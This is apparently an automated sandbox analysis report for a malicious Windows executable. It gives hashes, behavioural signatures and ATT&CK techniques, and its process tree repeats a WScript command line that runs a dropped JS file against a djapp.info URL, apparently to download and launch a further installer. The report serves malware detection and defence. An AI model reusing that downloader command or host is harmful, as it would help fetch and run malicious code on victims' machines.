af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f

General

Target

af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe
Size

184KB
MD5

471908317294c8f960f070e48a1b1a2c
SHA1

4f3be0eaaa33518c2c8d5657611a246a64e19fd4
SHA256

af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f
SHA512

be942e61d008945e68450028e21d54623f908f8d0174f5e38a800a7308e6d415aa776f0915fad8c8c55fb82ddfe1e2835c3297ed04066455d56c01b817faddb6
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35:/7BSH8zUB+nGESaaRvoB7FJNndnM

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
5	2972	WScript.exe
8	2972	WScript.exe
9	2880	WScript.exe
10	2880	WScript.exe
12	116	WScript.exe
13	116	WScript.exe
14	1988	WScript.exe
15	1988	WScript.exe
28	3864	WScript.exe
29	3864	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	28	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 2972	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	37
PID 2348 wrote to memory of 2972	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	37
PID 2348 wrote to memory of 2972	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	37
PID 2348 wrote to memory of 2880	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	83
PID 2348 wrote to memory of 2880	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	83
PID 2348 wrote to memory of 2880	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	83
PID 2348 wrote to memory of 116	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	84
PID 2348 wrote to memory of 116	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	84
PID 2348 wrote to memory of 116	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	84
PID 2348 wrote to memory of 1988	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	85
PID 2348 wrote to memory of 1988	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	85
PID 2348 wrote to memory of 1988	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	85
PID 2348 wrote to memory of 3864	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	88
PID 2348 wrote to memory of 3864	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	88
PID 2348 wrote to memory of 3864	2348	af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe	88

C:\Users\Admin\AppData\Local\Temp\af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe
"C:\Users\Admin\AppData\Local\Temp\af000244053caa1581210637533d3f26ed44d343178c76cf236770f53cfa2c8f.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC6FE.js" http://www.djapp.info/?domain=RIlMgaRiXZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fufC6FE.exe
  2⤵
  - Blocklisted process makes network request
  PID:2972
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC6FE.js" http://www.djapp.info/?domain=RIlMgaRiXZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fufC6FE.exe
  2⤵
  - Blocklisted process makes network request
  PID:2880
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC6FE.js" http://www.djapp.info/?domain=RIlMgaRiXZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fufC6FE.exe
  2⤵
  - Blocklisted process makes network request
  PID:116
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC6FE.js" http://www.djapp.info/?domain=RIlMgaRiXZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fufC6FE.exe
  2⤵
  - Blocklisted process makes network request
  PID:1988
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC6FE.js" http://www.djapp.info/?domain=RIlMgaRiXZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fufC6FE.exe
  2⤵
  - Blocklisted process makes network request
  PID:3864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufC6FE.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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